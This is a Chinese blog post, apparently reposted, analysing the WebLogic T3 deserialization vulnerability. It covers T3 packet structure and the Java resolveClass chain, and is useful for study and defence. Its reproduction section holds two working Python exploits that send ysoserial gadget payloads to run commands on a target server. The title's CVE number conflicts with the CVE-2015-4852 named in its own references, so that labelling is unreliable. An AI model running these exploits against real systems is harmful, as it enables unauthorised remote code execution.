weblogic反序列化之T3协议 CVE-2015-4582

这篇具有很好参考价值的文章主要介绍了weblogic反序列化之T3协议 CVE-2015-4582。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

前言

weblogic 的反序列化漏洞分为两种 ,一种是基于T3 协议的反序列化漏洞,一个是基于XML的反序列化漏洞,这篇来分析一下基于T3 协议的反序列化漏洞,本文参考了很多师傅的文章,我会贴在最后面。

环境搭建:

[JAVA安全]weblogic反序列化介绍及环境搭建_snowlyzz的博客-CSDN博客

https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

 mirrors / angelwhu / ysoserial · GitCode

T3协议

RMI 通信时会将数据进行序列化后传输,同样的接收数据后反序列化进行接收,正常RMI通信使用的是JRMP协议,而在Weblogic的RMI通信中使用的是T3协议,T3是weblogic独有的一个协议,相比于JRMP多了如下协议:

  • 服务端可以持续追踪监控客户端是否存活(心跳机制),通常心跳的间隔为60秒,服务端在超过240秒未收到心跳即判定与客户端的连接丢失。
  • 通过建立一次连接可以将全部数据包传输完成,优化了数据包大小和网络消耗。
     

结构

主要包含请求头和请求主体这两部分,总共分为七个部分,第一部分是协议头,也就是请求包头,后面2-7都是请求主题(这图叠buff了):

weblogic反序列化之T3协议
CVE-2015-4582

从流量到对象:

借用师傅的一张图

weblogic反序列化之T3协议
CVE-2015-4582

 weblogic 通过7001端口,获取到流量钟的T3协议的反序列化数据,他会从图钟的readObject开始,经过一系列的操作,终于在上图的流程终点的 resolveProxyclass 或者是 resolveClass 处将流量钟的代理类 / 类类型的字节转变为了对应的class对象。

在ObjcetInputStream 钟的readClassDesc 方法,存在两个路径,也就是分叉点,导致了序列化的流量流向了两个不同的分支,其中一些流量流向了readProxyDesc 并最终采用resolveProxyClass获取类对象,而另一些则流向了readNonProxyDesc并最终使用resolveClass获取类对象。

readClassDesc

看名字就知道,desc是描述,readClassDesc的功能很简单,读入字节流,通过读取字节流钟的描述符来确定字节流钟传递的数据类型,并交给对应的方法处理。

看下readClassDesc的实现:

private ObjectStreamClass readClassDesc(boolean unshared) 
    throws IOException 
    {
    byte tc = bin.peekByte();
    switch (tc) {
        case TC_NULL:
        return (ObjectStreamClass) readNull();

        case TC_REFERENCE:
        return (ObjectStreamClass) readHandle(unshared);

        case TC_PROXYCLASSDESC:
        return readProxyDesc(unshared);

        case TC_CLASSDESC:
        return readNonProxyDesc(unshared);

        default:
        throw new StreamCorruptedException(
            String.format("invalid type code: %02X", tc));
    }
    }

从 readClassDesc 方法 的实现可见,readClassDesc 钟switch 语句中有5个分支 :

TC_NULL描述符表示空对象引用

TC_REFERENCE描述符表示引用已写入流的对象

TC_PROXYCLASSDESC是新的代理类描述符

TC_CLASSDESC是新的类描述符

TC_PROXYCLASSDESC  与 TC_CLASSDESC描述符 标识了流量中代理类与类这两种类型的数据,因此我们重点关注TC_PROXYCLASSDESC 与 TC_CLASSDESC 这两个分支,也是上文流程图里只有这两处分支的原因,

当readClassDesc从字节流中读取到TC_CLASSDESC描述符,说明此处程序此时要处理的字节流为普通类,程序接下来会调用readNonProxyDesc方法对这段字节流进行解析。

在readNonProxyDesc方法中,程序会从该段序列化流中获取类的序列化描述符ObjectStreamClass(类序列化描述符ObjectStreamClass,其本质是对Class类的包装,可以想象成一个字典,里面记录了类序列化时的一些信息,包括字段的描述信息和serialVersionUID 和需要序列化的字段fields,以便在反序列化时拿出来使用)。随后该类的序列化描述符被传递给resolveClass方法,resolveClass方法从该类的序列化描述符中获取对应的Class对象。

weblogic反序列化之T3协议
CVE-2015-4582

当readClassDesc 从字节流中读取到  TC_PROXYCLASSDESC 描述符时,说明此处程序此时要处理的字节流为动态代理类,程序接下来会调用readProxydesc方法进行处理 过程与上面的流程一致。

当我们以此处传入的字节流为普通类为例,接下来看看resovleCLass是如何将类的序列化描述符加工成该类的class对象。

weblogic/rjvm/InboundMsgAbbrev.class中的resolveClass方法

weblogic反序列化之T3协议
CVE-2015-4582

 

        protected Class resolveClass(ObjectStreamClass var1) throws ClassNotFoundException, IOException {
            Class var2 = super.resolveClass(var1);
            if (var2 == null) {
                throw new ClassNotFoundException("super.resolveClass returns null.");
            } else {
                ObjectStreamClass var3 = ObjectStreamClass.lookup(var2);
                if (var3 != null && var3.getSerialVersionUID() != var1.getSerialVersionUID()) {
                    throw new ClassNotFoundException("different serialVersionUID. local: " + var3.getSerialVersionUID() + " remote: " + var1.getSerialVersionUID());
                } else {
                    return var2;
                }
            }
        }

程序通过 Class var2  = super.resolveClass(var1); 从 ObjectStreamClass var1中获取到对应的类对象,并赋值给var2,最终通过执行return var2,将var1序列化描述符所对应的Class对象返回

我们调试一下 这个resolveClass 方法:

weblogic反序列化之T3协议
CVE-2015-4582

可以看到 resolveClass 方法成功从序列化描述符中获取到 sun.reflect.annotation.AnnotationInvocationHandler”类对象,并将其返回

从CLass对象到代码执行

程序通过resolveClass获取Class对象,在resolveClass方法将获取到的Class对象返回后,上一级的readNonProxyDesc在接收到resolveClass方法返回值后,连同之前从流量中获取类的序列化描述符ObjectStreamClass一并,初始化并构建一个新的ObjectStreamClass,这个流程如下:

weblogic反序列化之T3协议
CVE-2015-4582

 调用栈:

weblogic反序列化之T3协议
CVE-2015-4582 

关键代码如下

private ObjectStreamClass readNonProxyDesc(boolean unshared) 
throws IOException 
   {
...

ObjectStreamClass desc = new ObjectStreamClass();
...

ObjectStreamClass readDesc = null;
...
    readDesc = readClassDescriptor();
...

Class cl = null;
...
    if ((cl = resolveClass(readDesc)) == null) {
   resolveEx = new ClassNotFoundException("null class");
    }
...
desc.initNonProxy(readDesc, cl, resolveEx, readClassDesc(false));

...
return desc;
   }

结合流程图与代码来看,readNonProxyDesc 方法中主要  做了如下事情:

  1. 通过 readClassDescriptor() 方法 从流量中获取序列化类的ObjectStreamClass 并 赋值给 readDesc 变量
  2. 将readDesc 传入 resolveClass,获取该类的Class对象并赋值给cl
  3. 将该类的 ObjectStreamClass 与 Class对象传入 initNonProxy 方法,初始化一个 ObjectStreamClass 并赋值给desc 变量
  4. 将 desc 变量返回

readNonProxyDesc方法中返回的ObjectStreamClass类型的desc变量,将会传递给readClassDesc,进而被readClassDesc传递给readOrdinaryObject

weblogic反序列化之T3协议
CVE-2015-4582

 因此 当 readNonProxyDesc中 ObjectStreamCLass 类型的desc 变量返回后,途径 readClassDesc方法的最红传给readOrdinaryObject中的desc变量。

接下来我们来看看readOrdinaryObject 中又做了什么处理

ObjectStreamClass desc = readClassDesc(false);
...
    obj = desc.isInstantiable() ? desc.newInstance() : null;
...
if (desc.isExternalizable()) {
    readExternalData((Externalizable) obj, desc);
} else {
    readSerialData(obj, desc);
}

handles.finish(passHandle);

if (obj != null && 
    handles.lookupException(passHandle) == null &&
    desc.hasReadResolveMethod())
{
    Object rep = desc.invokeReadResolve(obj);

第一行

ObjectStreamClass desc = readClassDesc(false);

代码中由 readClassDesc(false)  得到的desc ,即是readNonProxyDesc 中获取并返回ObjectStreamClass类型的desc 

代码中 接下来 的条件分支,即是在获取了 ObjectStreamClass 类型的desc 后,readOrdinaryObject接着尝试调用类对象的 readObject 、readResolve、readExternal方法

weblogic反序列化之T3协议
CVE-2015-4582

 在Weblogic从流量中的序列化类字节段通过readClassDesc-readNonProxyDesc-resolveClass获取到普通类序列化数据的类对象后,程序依次尝试调用类对象中的readObject、readResolve、readExternal等方法。

CVE-2015-4582

请求包头:

T3协议在传输请求体之前都会先发送一个请求包到目标服务器,这个数据包的内容固定为:

t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001

用python 试着发包:

import requests
import socket


def T3Test(ip,port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((ip, port))
    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n" #请求包的头
    sock.sendall(handshake.encode())
    while True:
        data = sock.recv(1024)
        print(data.decode())

if __name__ == "__main__":
    ip = "你的公网ip"
    port = 7001

    T3Test(ip,port)

返回信息如下,包含了一些版本信息

weblogic反序列化之T3协议
CVE-2015-4582

这里使用wireshark抓个包,网卡选用你的电脑网卡就好了,然后进行一个过滤:

weblogic反序列化之T3协议
CVE-2015-4582

 就能看到 用python发的包了。

然后在wireshark数据处右键 - 追踪流 - tcp流

weblogic反序列化之T3协议
CVE-2015-4582

 能看到 在HELO后面会返回一个版本号,这就是发这个请求报头的作用

请求主体

既然 1 是请求头部分, 而请求主体就是我们的 2-7 部分,这里我们发现都是 ac ed 00 05 开头,说明该内容是序列化的内容,而如果需要去构造payload 的化,需要在后面序列化的,进行一个替换。将原本存在的序列化内容替换成我们payload 的序列化内容,在传输完成后,进行反序列化达成攻击的目的,这里借用其他师傅的图

weblogic反序列化之T3协议
CVE-2015-4582

 这里提供两种攻击思路:

第一种生成方式为,将weblogic发送的JAVA序列化数据的第二到七部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。

第二种生成方式为,将weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。

漏洞复现

根据网上的exp

import socket
import sys
import struct
import re
import subprocess
import binascii

def get_payload1(gadget, command):
    JAR_FILE = './ysoserial.jar'
    popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
    return popen.stdout.read()

def get_payload2(path):
    with open(path, "rb") as f:
        return f.read()

def exp(host, port, payload):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))

    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
    sock.sendall(handshake)
    data = sock.recv(1024)
    pattern = re.compile(r"HELO:(.*).false")
    version = re.findall(pattern, data.decode())
    if len(version) == 0:
        print("Not Weblogic")
        return

    print("Weblogic {}".format(version[0]))
    data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新
    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
    flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
    payload = data_len + t3header + flag + payload
    payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度
    sock.send(payload)

if __name__ == "__main__":
    host = "192.168.__.__"
    port = 7001
    gadget = "Jdk7u21" #CommonsCollections1 Jdk7u21
    command = "touch /tmp/success"

    payload = get_payload1(gadget, command)
    exp(host, port, payload)
from os import popen
import struct # 负责大小端的转换
import subprocess
from sys import stdout
import socket
import re
import binascii

def generatePayload(gadget,cmd):
    YSO_PATH = "ysoserial.jar"
    popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)
    return popen.stdout.read()

def T3Exploit(ip,port,payload):
    sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sock.connect((ip,port))
    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
    sock.sendall(handshake.encode())
    data = sock.recv(1024)
    compile = re.compile("HELO:(.*).0.false")
    match = compile.findall(data.decode())
    if match:
        print("Weblogic: "+"".join(match))
    else:
        print("Not Weblogic")
        #return
    header = binascii.a2b_hex(b"00000000")
    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
    desflag = binascii.a2b_hex(b"fe010000")
    payload = header + t3header  +desflag+  payload
    payload = struct.pack(">I",len(payload)) + payload[4:]
    sock.send(payload)

if __name__ == "__main__":
    ip = "192.168.__.__"
    port = 7001
    gadget = "CommonsCollections1"
    cmd = "touch /tmp/success"
    payload = generatePayload(gadget,cmd)
    T3Exploit(ip,port,payload)

运行后

weblogic反序列化之T3协议
CVE-2015-4582

漏洞分析

来到入口处:

wlserver\server\lib\wlthint3client.jar!\weblogic\rjvm\InboundMsgAbbrev.class

调用了内部类  InboundMsgAbbrev.ServerChannelInputStreamreadObject 方法

weblogic反序列化之T3协议
CVE-2015-4582

跟进查看一下 ServerChannelInputStream

weblogic反序列化之T3协议
CVE-2015-4582 这个内部类继承了 ObjectInputStream  重写了 resolveClass  方法 但是没有重写 readObject 方法,那么调用 本类的   ServerChannelInputStream#readObject 方法,实际上就是调用  ObjectInputStream#readObject 方法,并且这里的  ObjectInputStream#readObject 方法解析处理了我们经过 T3 协议 传递过来的数据且反序列化,从而造成了 命令执行

这里resolveClass,这里进入到父类的resolveClass

 weblogic反序列化之T3协议
CVE-2015-4582

resolveClass是执行ObjectInputStream.readObject()前必经的一个方法,就是说在反序列化过程中,序列化的数据都会从resolveClass这个方法中经过一次,那如果这里再提到如何防护的话,我们很容易能想到在这里添加过滤,没错,在后面的cve都是在这里不断地绕过相应的白名单黑名单而产生的
 

参考文章:

从Weblogic原理上探究CVE-2015-4852、CVE-2016-0638、CVE-2016-3510究竟怎么一回事 - 先知社区 (aliyun.com)

weblogic反序列化之T3协议(CVE-2015-4582)_Ys3ter的博客-CSDN博客_cve-2015-4582

Java安全之初探weblogic T3协议漏洞 - nice_0e3 - 博客园 (cnblogs.com)

Weblogic12c T3 协议安全漫谈 - 知道创宇 (knownsec.com) 文章来源地址https://www.toymoban.com/news/detail-443445.html

到了这里,关于weblogic反序列化之T3协议 CVE-2015-4582的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • WebLogic反序列化漏洞复现+利用工具(CVE-2021-2394)

    Oracle官方发布了2021年7月份安全更新通告,通告中披露了WebLogic组件存在高危漏洞,攻击者可以在未授权的情况下通过IIOP、T3协议对存在漏洞的WebLogic Server组件进行攻击。成功利用该漏洞的攻击者可以接管WebLogic Server。 这是一个二次反序列化漏洞,是CVE-2020-14756和CVE-2020-14825的

    2024年02月06日
    浏览(84)
  • Weblogic反序列化漏洞

    漏洞环境基于vulhub搭建–进入weak_password的docker环境 sudo docker-compose up -d拉取靶场 404特征Weblogic常用端口:7001 任意读取文件、后台getshell,访问/console/login/LoginForm.jsp后缀来到后台管理处 获取用户名密码 http://192.168.25.128:7001/console/login/LoginForm.jsp 使用任意读取文件方式获取用户

    2024年02月09日
    浏览(34)
  • 内网渗透靶场02----Weblogic反序列化+域渗透

     网络拓扑:                  利用 kscan工具 ,针对192.168.111.0/24 C段开展端口扫描,发现2台存活主机,具体如下图所示:                 192.168.111.80  开放 80、445、3389、7001 端口。                 192.168.111.201 开放 3389、445 端口 根据上述端口发放情况

    2024年02月19日
    浏览(26)
  • CNVD-C-2019-48814 WebLogic反序列化远程命令执行漏洞

    漏洞信息        漏洞名称:OracleWebLogic wls9-async反序列化远程命令执行漏洞(CNVD-C-2019-48814) 影响版本:- WebLogic 10.x                      - WebLogic 12.1.3  此漏洞影响启用bea_wls9_async_response组件及wls-wsat组件的所有Weblogic版本。 漏洞评级:高危 漏洞简介: WebLogic Server是美

    2023年04月08日
    浏览(31)
  • shiro反序列化[cve_2016_4437]

    目录 什么是shiro? 漏洞原理 漏洞复现 修复方案 Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。 Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使

    2024年02月15日
    浏览(33)
  • CVE-2023-34040 Kafka 反序列化RCE

    Spring Kafka 是 Spring Framework 生态系统中的一个模块,用于简化在 Spring 应用程序中集成 Apache Kafka 的过程,记录 (record) 指 Kafka 消息中的一条记录。 受影响版本中默认未对记录配置  ErrorHandlingDeserializer ,当用户将容器属性  checkDeserExWhenKeyNull  或  checkDeserExWhenValueNull  设置为

    2024年02月05日
    浏览(38)
  • Jboss(CVE-2017-12149)反序列化命令执行漏洞

    该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。 受影响系统及应用版本    Jboss AS 5.x、Jboss AS 6.x 环境搭建 使用vulhub靶场

    2024年02月15日
    浏览(33)
  • Kafka反序列化RCE漏洞(CVE-2023-34040)

    Spring Kafka 是 Spring Framework 生态系统中的一个模块,用于简化在 Spring 应用程序中集成 Apache Kafka 的过程,记录 (record) 指 Kafka 消息中的一条记录。 受影响版本中默认未对记录配置  ErrorHandlingDeserializer ,当用户将容器属性  checkDeserExWhenKeyNull  或  checkDeserExWhenValueNull  设置为

    2024年02月06日
    浏览(30)
  • Jackson-databind 反序列化漏洞(CVE-2017-7525、CVE-2017-17485)

    Jackson-databind 支持 Polymorphic Deserialization 特性(默认情况下不开启),当 json 字符串转换的 Target class 中有 polymorph fields,即字段类型为接口、抽象类或 Object 类型时,攻击者可以通过在 json 字符串中指定变量的具体类型 (子类或接口实现类),来实现实例化指定的类,借助某些特

    2024年02月13日
    浏览(28)
  • 【中危】Spring Kafka 反序列化漏洞 (CVE-2023-34040)

    zhi.oscs1024.com​​​​​ 漏洞类型 反序列化 发现时间 2023-08-24 漏洞等级 中危 MPS编号 MPS-fed8-ocuv CVE编号 CVE-2023-34040 漏洞影响广度 小 OSCS 描述 Spring Kafka 是 Spring Framework 生态系统中的一个模块,用于简化在 Spring 应用程序中集成 Apache Kafka 的过程,记录(record)指 Kafka 消息中的一

    2024年02月11日
    浏览(42)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包